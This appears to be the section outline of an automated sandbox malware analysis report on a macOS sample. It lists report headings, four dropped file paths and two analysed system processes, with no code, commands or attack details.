Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/private/tmp/4302/info

/private/tmp/update

/private/var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data

/private/var/root/Library/Saved Application State/com.apple.osascript.savedState/windows.plist

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Connections

HTTPS Proxied Packets

System Behavior

Analysis Process: xpcproxy PID: 610, Parent PID: 1

General

File Activities

File Opened

File Read

Process Activities

Process Spawned

System Activities

Sysctl Requested

Chronological Activities

Analysis Process: nsurlstoraged PID: 610, Parent PID: 1

General

File Activities

File Opened

File Read